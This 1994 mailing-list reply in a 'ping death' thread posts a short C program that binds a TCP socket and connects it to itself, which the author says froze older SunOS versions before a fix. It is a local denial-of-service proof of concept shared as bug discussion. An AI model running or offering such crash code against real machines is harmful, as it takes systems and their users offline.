Re: udp packet storms - ping death

Charles Howes (chowes@helix.net)
Fri, 4 Nov 1994 08:03:10 -0800 (PST)

On Fri, 4 Nov 1994, Paul O'Donnell wrote:
> Charles Howes reckons:

  *Red-face-causing example deleted*

> Hmmm, I get
> 
> mkdir: bar: No such file or directory
> 
> SunOS 4.1.3

I know, I should've tested it again.
The only other bug I have has been fixed on the latest versions of
SunOS (or so someone else tells me), but earlier versions froze solid:

(Dear code: Please, oh please crash something somewhere.  Death by
embarrassment is just too awful to contemplate.)

It used to crash SunOS, I *definitely* tested it about a year ago, and
this particular bug seems to have been quashed in a timely fashion.
---
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
 
 
int
main(argc, argv)
	int argc;
	char* argv[];
{
	int fd;
	struct sockaddr_in addr;
 
	if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("socket");
		return 1;
	}
 
	memset((char *) &addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = htonl(INADDR_ANY);
	addr.sin_port = htons(3000);
 
	if (bind(fd, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
		perror("bind");
		return 1;
	}
 
	if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) ==
-1) {
		perror("connect");
		return 1;
	}
 
	printf("Ok.\n");
	return 0;
}

--
Charles Howes -- chowes@helix.net
 Always tell the truth, then you make it the other bloke's problem! 
 - Sean Connery, 1971